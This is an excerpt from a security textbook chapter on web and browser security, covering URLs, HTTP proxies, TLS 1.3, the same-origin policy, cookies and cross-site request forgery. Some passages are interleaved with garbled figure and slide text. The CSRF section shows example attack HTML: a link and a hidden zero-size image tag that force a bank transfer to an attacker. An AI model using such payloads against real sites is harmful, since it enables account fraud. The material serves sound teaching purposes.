Can Use. O’Reilly Media, 2005.
[12] T. Dierks and E. Rescorla. RFC 5246: The Transport Layer Security (TLS) Protocol Version 1.2, Aug.
2008. Proposed Standard; obsoletes RFC 3268, 4346, 4366.
[13] B. Dowling, F. Günther, U. Herath, and D. Stebila. Secure logging schemes and Certificate Trans-
parency. In Eur. Symp. Res. in Comp. Security (ESORICS), 2016.
[14] Z. Durumeric, J. Kasten, M. Bailey, and J. A. Halderman. Analysis of the HTTPS certificate ecosystem.
In Internet Measurements Conf. (IMC), pages 291–304, 2013.
[15] Z. Durumeric, F. Li, J. Kasten, J. Amann, J. Beekman, M. Payer, N. Weaver, D. Adrian, V. Paxson,
M. Bailey, and J. Halderman. The matter of Heartbleed. In Internet Measurements Conf. (IMC), 2014.
[16] S. Fahl, M. Harbach, T. Muders, M. Smith, L. Baumgärtner, and B. Freisleben. Why Eve and Mallory
love Android: An analysis of Android SSL (in)security. In ACM Comp. & Comm. Security (CCS),
pages 50–61, 2012.
242
References (Chapter 8) 243
[40] K. G. Paterson and T. van der Merwe. Reactive and proactive standardisation of TLS. In Security
Standardisation Research (SSR), pages 160–186, 2016. Springer LNCS 10074.
[41] V. Pham and T. Aura. Security analysis of leap-of-faith protocols. In SecureComm 2011, pages 337–
355, 2011.
[42] E. Rescorla. SSL and TLS: Designing and Building Secure Systems. Addison-Wesley, 2001.
[43] E. Rescorla. RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3, Aug. 2018. IETF
Proposed Standard; obsoletes RFC 5077, 5246 (TLS 1.2), 6961.
[44] S. Santesson, M. Meyers, R. Ankney, A. Malpani, S. Galperin, and C. Adams. RFC 6960: X.509
Internet Public Key Infrastructure Online Certificate Status Protocol—OCSP, June 2013. Standards
Track; obsoletes RFC 2560, 6277.
[45] J. Schaad, B. Ramsdell, and S. Turner. RFC 8550: Secure/Multipurpose Internet Mail Extensions
(S/MIME) Version 4.0 Certificate Handling, Apr. 2019. Proposed Standard; obsoletes RFC 5750.
[46] J. Schaad, B. Ramsdell, and S. Turner. RFC 8551: Secure/Multipurpose Internet Mail Extensions
(S/MIME) Version 4.0 Message Specification, Apr. 2019. Proposed Standard; obsoletes RFC 5751.
[47] C. Soghoian and S. Stamm. Certified lies: Detecting and defeating government interception attacks
against SSL (short paper). In Financial Crypto, pages 250–259, 2011.
[48] E. Stark, R. Sleevi, R. Muminovic, D. O’Brien, E. Messeri, A. P. Felt, B. McMillion, and P. Tabriz.
Does Certificate Transparency break the web? Measuring adoption and error rate. In IEEE Symp.
Security and Privacy, 2019.
[49] J. Tan, L. Bauer, J. Bonneau, L. F. Cranor, J. Thomas, and B. Ur. Can unicorns help users compare
crypto key fingerprints? In ACM Conf. on Human Factors in Computing Systems (CHI), pages 3787–
3798, 2017.
[50] S. Vaudenay. A Classical Introduction to Cryptography: Applications for Communications Security.
Springer Science+Business Media, 2006.
[51] N. Vratonjic, J. Freudiger, V. Bindschaedler, and J. Hubaux. The inconvenient truth about web certifi-
cates. In Workshop on Economics of Info. Security (WEIS), 2011.
[52] L. Zhang, D. R. Choffnes, D. Levin, T. Dumitras, A. Mislove, A. Schulman, and C. Wilson. Analysis
of SSL certificate reissues and revocations in the wake of Heartbleed. In Internet Measurements Conf.
(IMC), pages 489–502, 2014.
[53] P. R. Zimmermann. The Official PGP Users Guide. MIT Press, 1995.
[54] P. R. Zimmermann and J. Callos. The evolution of PGP’s web of trust. Pages 107–130 in [38], 2009.
[55] M. E. Zurko. IBM Lotus Notes/Domino: Embedding security in collaborative applications. Pages
607–622 in [11], 2005.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 9
Web and Browser Security
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
We now aim to develop an awareness of what can go wrong on the web, through browser-
server interactions as web resources are transferred and displayed to users. When a
browser visits a web site, the browser is sent a page (HTML document). The browser
renders the document by first assembling the specified pieces and executing embedded
executable content (if any), perhaps being redirected to other sites. Much of this occurs
without user involvement or understanding. Documents may recursively pull in content
from multiple sites (e.g., in support of the Internet’s underlying advertising model), in-
cluding scripts (active content). Two security foundations discussed in this chapter are
the same-origin policy (SOP), and how HTTP traffic is sent over TLS (i.e., HTTPS). HTTP
proxies and HTTP cookies also play important roles. As representative classes of attacks,
we discuss cross-site request forgery, cross-site scripting and SQL injection. Many aspects
of security from other chapters tie in to web security.
As we shall see, security requirements related to browsers are broad and complex.
On the client side, one major issue is isolation: Do browsers ensure separation, for con-
tent from unrelated tasks on different sites? Do browsers protect the user’s local device,
filesystem and networking resources from malicious web content? The answers depend
on design choices made in browser architectures. Other issues are confidentiality and
integrity protection of received and transmitted data, and data origin authentication, for
assurance of sources. Protecting user resources also requires addressing server-side vul-
nerabilities. Beyond these are usable security requirements: browser interfaces, web site
content and choices presented to users must be intuitive and simple, allowing users to
form a mental model consistent with avoiding dangerous errors. Providing meaningful
security indicators to users is among the most challenging problems.
246
9.1. Web review: domains, URLs, HTML, HTTP, scripts 247
in the address bar of browsers, specify the source locations of files and web pages.
D OMAINS , SUBDOMAINS . A domain name consists of a series of one or more dot-
separated parts, with the exception of the DNS root, which is denoted by a dot “.” alone.
Top-level domains (TLDs) include generic TLDs (gTLDs) such as .com and .org, and
country-code TLDs (ccTLDs), e.g., .uk and .fr. Lower-level domains are said to be
subordinate to their parent in the hierarchical name tree. Second-level and third-level
domains often correspond to names of organizations (e.g., stanford.edu), with subdo-
mains named for departments or services (e.g., cs.stanford.edu for computer science,
www.stanford.edu as the web server, mail.mycompany.org as a mail server).
URL SYNTAX . A URL is the most-used type of uniform resource identifier ( URI ).
In Fig. 9.1, the one-part hostname mckinstry is said to be unqualified as it is a host-
specific label (no specified domain); local networking utilities would resolve it to a local
machine. Appending to it a DNS domain (e.g., the subdomain math.waterloo.com) re-
sults in both a hostname and a domain name, in this case a fully qualified domain name
(FQDN), i.e., complete and globally unique. In general, hostname refers to an addressable
machine, i.e., a computing device that has a corresponding IP address; a canonical exam-
ple is hostname.subdomain.domain.tld. User-friendly domain names can be used (vs.
IP addresses) thanks to DNS utilities that translate (resolve) an FQDN to an IP address.
Figure 9.1: URL example. The port is often omitted for a common retrieval scheme
with a well-known default (e.g., port 21 ftp; 22 ssh; 25 smtp; 80 http; 443 https).
and embed that image into the page being rendered (displayed). Note that tags may have
parameters of form name=value.
E XECUTABLE CONTENT IN HTML . HTML documents may also contain tags iden-
tifying segments of text containing code from a scripting language to be executed by the
browser, to manipulate the displayed page and underlying document object. This cor-
responds to active content (Sections 9.4–9.6). While other languages can be declared,
the default is JavaScript, which includes conventional conditional and looping constructs,
functions that can be defined and called from other parts of the document, etc. The block
<script>put-script-fragment-here-between-tags</script>
identifies to the browser executable script between the tags. Scripts can be included inline
as above, or in an external linked document:
<script src="url"></script>
This results in the contents of the file at the quoted url replacing the empty text between the
opening and closing script tags; Section 9.4 discusses security implications. Scripts can
also be invoked conditionally on browser-detected events, as event handlers. As common
examples, onclick="script-fragment" executes the script fragment when an associated
form button is clicked, and onmouseover="script-fragment" likewise triggers when the
user cursors (hovers) the mouse pointer over an associated document element.
D OCUMENT LOADING , PARSING , JAVASCRIPT EXECUTION ( REVIEW ).1 To help
understand injection attacks (Sections 9.5–9.7), we review how and when script ele-
ments are executed during browser loading, parsing, and HTML document manipulation.
JavaScript execution proceeds as follows, as a new document is loaded:
1. Individual script elements (blocks enclosed in script tags) execute in order of appear-
ance, as the HTML parser encounters them, interpreting JavaScript as it parses. Such
tags with an src= attribute result in the specified file being inserted.
2. JavaScript may call document.write() to dynamically inject text into the document
before the loading process completes (calling it afterwards replaces the document by
the method’s generated output). The dynamically constructed text from this method
is then injected inline within the HTML document. Once the script block completes
execution, HTML parsing continues, starting at this new text. (The method may itself
write new scripts into the document.)
3. If javascript: is the specified scheme of a URL, the statements thereafter execute
when the URL is loaded. (This browser-supported pseudo-protocol has as URL body
a string of one or more semicolon-separated JavaScript statements, representing an
HTML document; HTML tags are allowed. If the value returned by the last statement is
void/null, the code simply executes; if non-void, that value converted to a string is dis-
played as the body of a new document replacing the current one.) Such javascript:
URL s can be used in place of any regular URL , including as the URL in a (hyperlink)
href attribute (the code executes when the link is clicked, similar to onclick), and as
the action attribute value of a <form> tag. Example:
1 We cannot give a JavaScript course within this book, but summarize particularly relevant aspects.
9.1. Web review: domains, URLs, HTML, HTTP, scripts 249
request-line
HTTP-request-hdr HTTP request server
status-line
HTTP-request-hdr
HTTP-response-hdr
opBonal-body HTTP-response-hdr
client
HTTP response opBonal-body
Ch.9. HTTP request and response. HTTP headers are separated by line-ends (CR LF).
Figure 9.2: HTTP request and HTTP response. HTTP header lines are separated by line-
A blank line (CR LF) precedes the opBonal body.
ends; a blank line precedes the optional body. The request-URI is generally a local
resource identifier (the TCP connection is already set up to the intended server); however
when a proxy is to be used (Fig. 9.3), the client inserts a fully qualified domain name, to
provide the proxy sufficient detail to set up the TCP connection.
‡W EB FORMS . HTML documents may include content called web forms, by which
a displayed page solicits user input into highlighted fields. The page includes a “submit”
button for the user to signal that data entry is complete, and the form specifies a URL to
which an HTTP request will be sent as the action resulting from the button press: 5
<form action="url" method="post">
On clicking the button, the entered data is concatenated into a string as a sequence of
“fieldname=value” pairs, and put into an HTTP request body (if the POST method is used).
250 Chapter 9. Web and Browser Security
If the GET method is used—recall GET has no body—the string is appended as query data
(arguments per Fig. 9.1) at the end of the request-URI in the request-line.
‡R EFERER HEADER . The (misspelled) Referer header (Fig. 9.2) is designed to
hold the URL of the page from which the request was made—thus telling the host of the
newly requested resource the originating URL, and potentially ending up in the logs of
both servers. For privacy reasons (e.g., browsing history, leaking URL query parameters),
some browsers allow users to disable use of this header, and some browsers remove the
Referer data if it would reveal, e.g., a local filename. Since GET-method web forms
(above) append user-entered data into query field arguments in the request-URI, forms
should be submitted using POST—lest the Referer header propagate sensitive data.
5 SSH
server
4 HTTPS
Client server
(browser) HTTP request HTTP
1 3
proxy
HTTP response FTP
server
2 HTTP
Enterprise gateway
server
Figure 9.3: HTTP proxy. An HTTP proxy may serve as a gateway function (1, 2) or
translate between HTTP and non-HTTP protocols (1, 3). Through the HTTP request method
CONNECT, the proxy may allow setting up a tunnel to relay TCP streams in a virtual client-
server connection—e.g., if encrypted, using port 443 (HTTPS, 4) or port 22 (SSH, 5). For
non-encrypted traffic, the proxy may cache, i.e., locally store documents so that on request
of the same document later by any client, a local copy can be retrieved.
HTTP proxy. An HTTP proxy serves a firewall (gateway) func;on, but may also serve as a
translator between HTTP and non-HTTP external protocols (1 with 2, 3). Alternately, the
HTTP PROXIES . An HTTP proxy or proxy server is an intermediary service between a
proxy may support (e.g., through The HTTP request method can be CONNECT) seKng up a
client and an endpoint server, that negotiates access to endpoint server resources and relays
tunnel to relay TCP streams in a virtual connec;on from client to server (e.g., 4, 5 are encrypted,
responses—thus acting as a server to the client, and as a client to the endpoint server. Such
oNen using port 443). For non-encrypted traffic, the proxy server may also cache, caching, i.e.,
a “world wide web” proxy originally served (Fig. 9.3) as an access-control gateway to the
locally storing documents so that if the same document is requested, a local copy can be retrieved.
web (as a precursor to enterprise firewalls, Chapter 10), allowing clients speaking a single
protocolAside (comment): you can do SSH through an HTTP proxy via the CONNECT method, e.g.,
(HTTP) to access resources at remote servers employing various access schemes
(e.g., FTP). This also simplified client design, with the proxy handling any header/content
PuSy supports tunneling through an HTTP proxy, e.g., using 443) or OpenSSH. And,
tunnels (i.e., virtual connec;ons) could also be set up for non-encrypted target servers.
modifications or translations needed for interoperability, and the proxy keeping audit logs,
inspecting content and performing other firewall functions. A second motivation for an
HTTP proxy was caching efficiency—identical content requested multiple times, including
by different clients, can be retrieved from a locally stored copy. (Note that HTTPS spoils
this party, due to content encryption.)
HTTP CONNECT. Modern browsers support HTTP proxying by various means, and
proxy use is common (e.g., in enterprise firewalls, and hotel/coffee shop wireless access
points). When a regular HTTP request is forwarded, the proxy finds the target server from
9.1. Web review: domains, URLs, HTML, HTTP, scripts 251
the request-URI (Fig 9.2). If the HTTP request is over TLS (Section 9.2) or SSH, e.g., if
the TCP connection is followed by a TLS set-up, the server hostname cannot be found
this way, as the HTTP request is encrypted data. This motivated a new HTTP request
method: the CONNECT method. It has a request-line, with request-URI allowing the client
to specify the target server hostname and port prior to setting up an encrypted channel.
The CONNECT method specifies that the proxy is to use this to set up a TCP connection
to the server, and then simply relay the TCP byte stream from one TCP connection to the
other without modification—first the TLS handshake data, then the HTTP traffic (which
will have been TLS-encrypted). The client sends the data as if directly to the server.
Such an end-to-end virtual connection is said to tunnel or “punch a hole” through the
firewall, meaning that the gateway can no longer inspect the content (due to encryption).
To reduce security concerns, the server port is often limited to 443 (HTTPS default) or
22 (SSH default, Chapter 10). This does not, however, control what is in the TCP stream
passed to that port, or what software is servicing the port; thus proxies supporting CONNECT
are recommended to limit targets to an allowlist of known-safe (i.e., trusted) servers.
(A B ) USE OF HTTP PROXIES . Setting modern web browsers to use a proxy server
is done by simply specifying an IP address and port (e.g., 80) in a browser proxy set-
tings dialogue or file; this enables trivial middle-person attacks if the proxy server is not
trustworthy. HTTP proxies raise other concerns, e.g., HTTPS interception (page 254).
B ROWSER ( URL ) REDIRECTION . When a browser “visits a web page”, an HTML
document is retrieved over HTTP, and locally displayed on the client device. The browser
follows instructions from both the HTML document loaded, and the HTTP packaging that
delivered it. Aside from a user clicking links to visit (retrieve a base document from) other
sites, both HTML and HTTP mechanisms allow the browser to be redirected (forwarded)
to other sites—legitimate reasons include, e.g., a web page having moved, an available
mobile-friendly version of the site providing content more suitably formatted for a smart-
phone, or a site using a different domain for credit card payments. Due to use (abuse) also
for malicious purposes, we review a few ways automated redirection may occur:
1. JavaScript redirect (within HTML). The location property of the window object
(DOM, Section 9.3) can be set by JavaScript:
window.location="url" or window.location.href="url"
Assigning a new value in this way allows a different document to be displayed.
2. refresh meta tag (within HTML). The current page is replaced on executing:
<meta http-equiv="refresh" content="N; URL=new-url">
This redirects to new-url after N seconds (immediately if N = 0). If URL= is omitted,
the current document is refreshed. This tag works even if JavaScript is disabled.
3. Refresh header (in HTTP response). On encountering the HTTP header:
Refresh: N; url=new-url
the browser will, after N seconds, load the document from new-url into the current
window (immediately if N = 0).
252 Chapter 9. Web and Browser Security
4. HTTP redirection (in HTTP response, status code 3xx). Here, an HTTP header:
Location: url
specifies the redirect target. A web server may arrange to create such headers by
various means, e.g., by a server file with line entries that specify: (requested-URI,
redirect-status-code-3xx, URI-to-redirect-to).
Browser redirection can thus be caused by many agents: web authors controlling HTML
content; server-side scripts that build HTML content (some may be authorized to dictate,
e.g., HTTP response Location headers also); server processes creating HTTP response
headers; and any malicious party that can author, inject or manipulate these items.2
plaintext
client-nonce,
client-key-share and/or PSK-label
1. ClientHello
server-nonce, 2. ServerHello
A
server-key-share and/or selected-PSK-label,
B server-selected-connection-options,
server-certificate and signature,
C
server-finished-MAC
3. ClientAgain
encrypted
client-certificate and signature (if requested)
client-finished-MAC
HTTP TLS channel
request Application Data (secured by authenticated encryption) HTTP
response
Close-notify messages exchanged
(TLS connection terminates)
A Key Exchange phase B Server Parameters C Authentication phase
Figure 9.4: HTTPS instantiated by TLS 1.3 (simplified). The HTTPS client sets up a TLS
connection providing a protected tunnel through which HTTP application data is sent. The
TLS handshake includes three message flights: ClientHello, ServerHello, ClientAgain.
Some protocol message options are omitted for simplicity.
TLS 1.3 message exchange (simplified). Flights (1) and (2) omit other-client-options, other-server-options.
by PSK-alone, but is delivered by the DHE and PSK-with-DHE options provided the
working keys themselves are ephemeral (erased after use).
S ERVER AUTHENTICATION ( TLS 1.3). The authentication of server to client is
based on either a PSK, or a digital signature by RSA or one of two elliptic curve options,
ECDSA and Edwards-curve DSA (EdDSA). The ClientHello and ServerHello message
flights shown omit some client and server options; the latter includes a server signature
of the TLS protocol transcript to the end of the ServerHello, if certificate-based server
authentication is used. Note that signature functionality may be needed for handshake
and certificate signatures. Client-to-server authentication is optional in TLS, and often
unused by HTTPS; but if used, and certificate-based, then the ClientAgain flight includes
a client signature of the entire TLS protocol transcript. These signatures provide data ori-
gin authentication over the protocol transcript. The mandatory server-finished-MAC
and client-finished-MAC fields are MAC values over the handshake messages to their
respective points, providing each endpoint evidence of integrity over the handshake mes-
sages and demonstrating knowledge of the master key by the other (i.e., key confirmation
per Chapter 4). This provides the authentication in the PSK key exchange option.
E NCRYPTION AND INTEGRITY ( TLS 1.3). TLS aims to provide a “secure channel”
between two endpoints in the following sense. Integrating the above-noted key estab-
lishment and server authentication provides authenticated key establishment (Chapter 4).
254 Chapter 9. Web and Browser Security
This yields a master key and working keys (above) used not only to provide confiden-
tiality, but also to extend the authentication to subsequently transferred data by a selected
authenticated encryption (AE) algorithm. As noted in Chapter 2, beyond confidential-
ity (restricting plaintext to authorized endpoints), an AE algorithm provides data origin
authentication through a MAC tag in this way: if MAC tag verification fails (e.g., due
to data integrity being violated), plaintext is not made available. Post-handshake appli-
cation data sent over a TLS 1.3 channel is encrypted using either the ChaCha20 stream
cipher, or the Advanced Encryption Standard (AES) block cipher used in an AEAD mode
(authenticated encryption with associated data, again per Chapter 2).
‡S ESSION RESUMPTION ( TLS 1.3). After one round trip of messages (Fig. 9.4), the
client normally has keying material and can already send an encrypted HTTP request in
flight 3 (in TLS 1.2, this required two round trips). For faster set-up of later sessions,
after a TLS 1.3 handshake is completed, in a new flight the server may send the client
a new session ticket (not shown in Fig. 9.4) either including an encrypted PSK, or
identifying a PSK. This ticket, available for a future session resumption, can be sent in
a later connection’s ClientHello, along with a new client key-share (e.g., Diffie-Hellman
exponential) and encrypted data (e.g., a new HTTP request already in a first message); this
is called a 0-RTT resumption. Both ends may use the identified PSK as a resumption key.
The new client key-share, and a corresponding server key-share, are used to establish new
working keys, e.g., for encryption of the HTTP response and later application traffic.
‡Exercise (HTTPS interception). The end-to-end security goal of HTTPS is under-
mined by middle-person type interception and re-encryption, including by client-side con-
tent inspection software and enterprise network middleboxes, often enabled by inserting
new trust anchors into client or OS trusted certificate stores. Explain the technical details
of these mechanisms, and security implications. (Hint: [17, 20]; cf. CDNs in Chapter 8.)
‡Exercise (Changes in TLS 1.3). Summarize major TLS 1.3 changes from TLS 1.2.
(Hint: [47], also online resources; 1.1 and 1.0 are deprecated by RFC 8996, March 2021.)
‡Exercise (Replay protection in TLS 1.3). Explain what special measures are needed
in the 0-RTT resumption of TLS 1.3 to prevent message replay attacks (hint: [53]).
‡Example (STARTTLS: various protocols using TLS). Various Internet protocols use
the name STARTTLS for the strategy of upgrading a regular protocol to a mode running
over TLS, in a same-ports strategy—the TLS-secured protocol is then run over the exist-
ing TCP connection. (Running HTTP on port 80, and HTTPS on port 443, is a separate-
ports strategy.) STARTTLS is positioned as an “opportunistic” use of TLS, when both ends
opt in. It protects (only) against passive monitoring. Protocols using STARTTLS include:
SMTP (RFC 3207); IMAP and POP3 (RFC 2595; also 7817, 8314); LDAP (RFC 4511);
NNTP (RFC 4642); XMPP (RFC 6120). Other IETF protocols follow this strategy but
under a different command name, e.g., FTP calls it AUTH TLS (RFC 4217).
‡Exercise (Link-by-link email encryption). (a) Provide additional details on how
SMTP, IMAP, and POP-based email protocols use TLS (hint: STARTTLS above, and email
ecosystem measurement studies [19, 25, 33]). (b) Give reasons justifying a same-ports
strategy for these protocols (hint: RFC 2595).
9.3. HTTP cookies and DOM objects 255
Exercise (Viewing cookies). On your favorite browser, look up how to view cookies
associated with a given page (site), and explore the cookies set by a few e-commerce and
news sites. For example, on Google Chrome 66.0.3359.117 cookies can be viewed from
the Chrome menu bar: View→Developer→DeveloperTools→Storage→Cookies.
‡Exercise (Third-party cookies: privacy). Look up what third-party cookies are and
explain how they are used to track users; discuss the privacy implications.
‡Exercise (Email tracking: privacy). Explain how email tracking tags can be used to
leak the email addresses, and other information, related to mail recipients (hint: [21]).
client
(browser)
1 pageA1
docA2 domainA
(opened pageA2
by scriptB) 3 docA1
2
(imports scriptB.js domainB
docC 4 scriptB)
(opened
by scriptB) pageC domainC
Figure 9.5: Same-origin policy in action (DOM SOP). Documents are opened in distinct
windows or frames. Client creation of docA1 loads content pageA1 from domainA (1).
Same-origin-policy in ac0on. Documents are opened
An embedded tag in pageA1 results in loading scriptB from domainB (2). This script,
in dis0nct windows or frames. Client ac0ons result in crea0on of docA1 loading (1) content pageA1 from
running in docA1, inherits the context of docA1 that imported it, and thus may access the
domainA. Then (2) pageA1 itself contains an embedded tag, which results in loading scriptB from domainB.
This script, running in docA1, runs in the context of the document that imported it, and thus has authority to
content and properties of docA1. (3) If docA2 is created by scriptB (running in docA1),
access the elements of the docA1. Consider the triplet (scheme, host, port) associated with docA1.
loading content pageA2 from the same host (domainA), then provided the loading-URI’s
(3) If docA2 is created by scriptB (running in docA1), loading content from pageA2 from the same host
scheme and port remain the same, the origins of docA1 and docA2 match, and so scriptB
(domainA), then provided the loading-URL scheme and port remain the same, the origins of docA1 and docA2
(running in docA1) has authority to access docA2. (4) If scriptB opens docC, loading
match, and so scriptB (running in docA1) has authority to access docA2.
(4) If scriptB opens docC, loading content from domainC, the origin triplet for docC has a different host,
content from domainC, docC’s origin triplet has a different host, and thus scriptB (running
and thus scriptB (running in docA1) is denied access to docC (despite itself having triggered its crea0on).
in docA1) is denied access to docC (despite itself having initiated the loading of docC).
Reread Mitchell’s SOP paper.
identical (scheme, host, port) origin triplet. Here, host means hostname with fully
qualified domain name, and scheme is the document-fetching protocol. Combining this 5
with basic HTML functionality, JavaScript in (or referenced into) an HTML document may
access all resources assigned the same origin, but not content or DOM properties of an ob-
ject from a different origin. To prevent mixing content from different origins (other than
utility exceptions such as use of images, and scripts for execution), content from distinct
origins should be managed in separate windows or frames. For example, an inline frame
can be created within an HTML document via:
<iframe name="framename" src="url">
Note that JavaScript can open a new window using:
window.open("url")
This loads a document from url, or is an empty window if the argument is omitted or null.
Example (Web origins). Figure 9.5 illustrates the DOM SOP rules. The triplet (scheme,
host, port) defining web origin is derived from a URI. Example schemes are http, ftp,
https, ssh. If a URI does not explicitly identify a port, the scheme’s default port is used.
Note that host, here a fully qualified domain name, implies also all pages (pathnames)
thereon. Subdomains are distinct origins from parent and peer domains, and generally
have distinct trust characteristics (e.g., a university domain may have subdomains for fi-
nance, payroll, transcripts, and student clubs—the latter perhaps under student control).
9.4. Same-origin policy (DOM SOP) 259
Example (Matching origins). This table illustrates matching and non-matching URI
pairs based on the SOP triple (scheme, host, port). (Can you explain why for each?)
Matching origins (DOM SOP) Non-matching origins
http://site.com/dirA/file1 http://site.com
http://site.com/dirA/file2 https://site.com
http://site.com/dirA/file1 ftp://site.com
http://site.com/dirB/file2 ftp://sub.site.com
http://site.com/file1 http://site.com
http://site.com:80/file2 http://site.com:8080
R ELAXING SOP BY DOCUMENT. DOMAIN . Site developers finding the DOM SOP too
restrictive for their designs can manipulate document.domain, the domain property of the
document object. JavaScript in each of two “cooperating” windows or frames whose ori-
gins are peer subdomains, say catalog.mystore.com and orders.mystore.com, can
set document.domain to the same suffix (parent) value mystore.com, explicitly overrid-
ing the SOP (loosening it). Both windows then have the same origin, and script access to
each other’s DOM objects. Despite programming convenience, this is seriously frowned
upon from a security viewpoint, as a subdomain that has generalized its domain to a suffix
has made its DOM objects accessible to all subdomains of that suffix (even if cooperation
with only one was desired). Table 9.1 (page 255) provides additional information.
SOP ( FOR COOKIES ). The DOM SOP’s (scheme, host, port) origin triplet asso-
ciated with HTML documents (and scripts within them) controls access to DOM content
and properties. For technical and historical reasons, a different “same-origin policy” is
used for HTTP cookies: a cookie returned to a given host (server) is available to all ports
thereon—so port is excluded for a cookie’s origin. The cookie Secure and HttpOnly
attributes (Section 9.3) play roles coarsely analogous to scheme in the DOM SOP triplet.
Also coarsely analogous to how the DOM SOP triplet’s host may be scoped, the server-set
cookie attributes Domain and Path allow the cookie-setting server to broaden a cookie’s
scope, respectively, to a trailing-suffix domain, and to a prefix-path, of the default URI. In
a mismatch of sorts, cookie policy is path-based (URI path influences whether a cookie is
returned to a server), but JavaScript access to HTTP cookies is not path-restricted.
‡SOP ( FOR PLUGIN - SPECIFIC ACTIVE CONTENT ). Yet other “same-origin” poli-
cies exist for further types of objects. Beyond the foundational role of scripts in HTML,
browsers have historically supported active content targeted at specific browser plugins
supporting Java, Macromedia Flash, Microsoft Silverlight, and Adobe Reader, and analo-
gous components (ActiveX controls) for the Internet Explorer browser. Processing content
not otherwise supported, plugins are user-installed third-party libraries (binaries) invoked
by HTML tags in individual pages (e.g., <embed> and <object>). Plugins have ori-
gin policies typically based on (but differing in detail and enforcement from) the DOM
SOP , and plugin-specific mechanisms for persistent state (e.g., Flash cookies). Plugins
have suffered a disproportionately large number of exploits, exacerbated by the historical
architectural choice to grant plugins access to local OS interfaces (e.g., filesystem and
network access). This leaves plugin security policies and their enforcement to (not the
260 Chapter 9. Web and Browser Security
browsers but) the plugins themselves—and this security track record suggests the plugins
receive less attention to detail in design and implementation. Browser support for plugins
is disappearing, for reasons including obsolescence due to alternatives including HTML5.
Aside: distinct from plugins, browser extensions modify a browser’s functionality (e.g.,
menus and toolbars) independent of any ability to render novel types of content.
‡Exercise (Java security). Java is a general-purpose programming language (distinct
from JavaScript), run on a Java virtual machine (JVM) supported by its own run-time
environment (JRE). Its first public release in 1996 led to early browsers supporting mobile
code (active content) in the form of Java applets, and related server-side components.
Summarize Java’s security model and the implications of Java applets (hint: [44]).
‡SOP AND A JAX . As Fig. 9.5 highlights, a main function of the DOM SOP is to control
JavaScript interactions between different browser windows and frames. Another SOP use
case involves Ajax (Asynchronous JavaScript and XML), which facilitates rich interactive
web applications—as popularized by Google Maps and Gmail (web mail) applications—
through a collection of technologies employing scripted HTTP and the XMLHttpRequest
object (Section 9.9). These allow ongoing browser-server communications without full
page reloads. Asynchronous HTTP requests by scripts—which have ongoing access to a
remote server’s data stores—are restricted, by the DOM SOP, to the origin server (the host
serving the baseline document the script is embedded in).
2. untrustworthy HTTP proxies, middle-persons and middleboxes (if cookies are sent over
HTTP). The Secure cookie attribute mandates HTTPS or similar protection.
3. non-script client-side malware (such malware defeats most client-side defenses).
4. physical or other unauthorized access to the filesystem or memory of the client device
on which cookies are stored (or to a non-encrypted storage backup thereof).
C OOKIE PROTECTION : SERVER - PROVIDED INTEGRITY, CONFIDENTIALITY. An-
other cookie-related risk is servers expecting cookie integrity, without using supporting
mechanisms. A cookie is a text string, which the browser simply stores (e.g., as a file) and
retrieves. It is subject to modification (including by client-side agents); thus independent
of any transport-layer encryption, a server should encrypt and MAC cookies holding sen-
sitive values (e.g., using authenticated encryption, which includes integrity protection), or
encrypt and sign. Key management issues that typically arise in sharing keys between two
parties do not arise here, since the server itself decrypts and verifies. Separate means are
needed to address a malicious agent replaying or injecting copied cookies.
‡Exercise (Cookie security). Summarize known security pitfalls of HTTP cookie im-
plementations (hint: immediately above, [5, Section 8], and [26]).
C ROSS - SITE REQUEST FORGERY. The use of HTTP cookies as authentication cook-
ies has led to numerous security vulnerabilities. We first discuss cross-site request forgery
(CSRF), also called session riding. Recall that browsers return cookies to sites that have
set them; this includes authentication cookies. If an authentication cookie alone suffices
to authorize a transaction on a given site, and a target user is currently logged in to that
site (e.g., as indicated by the authentication cookie), then an HTTP request made by the
browser to this site is in essence a pre-authorized transaction. Thus if an attacker can
arrange to designate the details of a transaction conveyed to this site by an HTTP request
from the target user’s browser, then this (pre-authorized) attacker-arranged request will
be carried out by the server without the attacker ever having possessed, or knowing the
content of, the associated cookie. To convey the main points, a simplified example helps.
Example (CSRF attacks). A bank allows logged-in user Alice to transfer funds to Bob
by the following HTTP request, e.g., resulting from Alice filling out appropriate fields of
an HTML form on the bank web page, after authenticating:
POST http://mybank.com/fundxfer.php HTTP/1.1
... to=Bob&value=2500
For brevity, assume the site also allows this to be done using:
GET http://mybank.com/fundxfer.php?to=Bob&value=2500 HTTP/1.1
Attacker Charlie can then have money sent from Alice’s account to himself, by preparing
this HTML, on an attack site under his control, which Alice is engineered to visit:
<a href="http://mybank.com/fundxfer.php?to=Charlie&value=2500">
Click here...shocking news!!!</a>
Minor social engineering is required to get Alice to click the link. The same end result
can be achieved with neither a visit to a malicious site nor the click of a button or link, by
using HTML with an image tag sent to Alice (while she is currently logged in to her bank
262 Chapter 9. Web and Browser Security
site) as an HTML email, or in a search engine result, or from an online forum that reflects
other users’ posted input without input sanitization (cf. page 265):
<img width="0" height="0" border="0" src=
"http://mybank.com/fundxfer.php?to=Charlie&value=2500" />
When Alice’s HTML-capable agent receives and renders this, a GET request is generated
for the supposed image and causes the bank transfer. The 0x0 pixel sizing avoids drawing
attention. As a further alternative, Charlie could arrange an equivalent POST request be
submitted using a hidden form and a browser event handler (e.g., onload) to avoid the
need for Alice to click a form submission button. For context, see Fig. 9.6a on page 264.
CSRF : FURTHER NOTES . Beyond funds transfer as end-goal, a different CSRF attack
goal might be to change the email-address-on-record for an account (this often being used
for account recovery). Further remarks about CSRF attacks follow.
1. Any response will go to Alice’s user agent, not Charlie; thus CSRF attacks aim to
achieve their goal in a single HTTP request.
2. CSRF defenses cannot rely on servers auditing, or checking to ensure, expected IP
addresses, since in CSRF, the HTTP request is from the victim’s own user agent.
3. CSRF attacks rely on victims being logged in to the target site; financial sites thus tend
to avoid using persistent cookies, to reduce the exposure window.
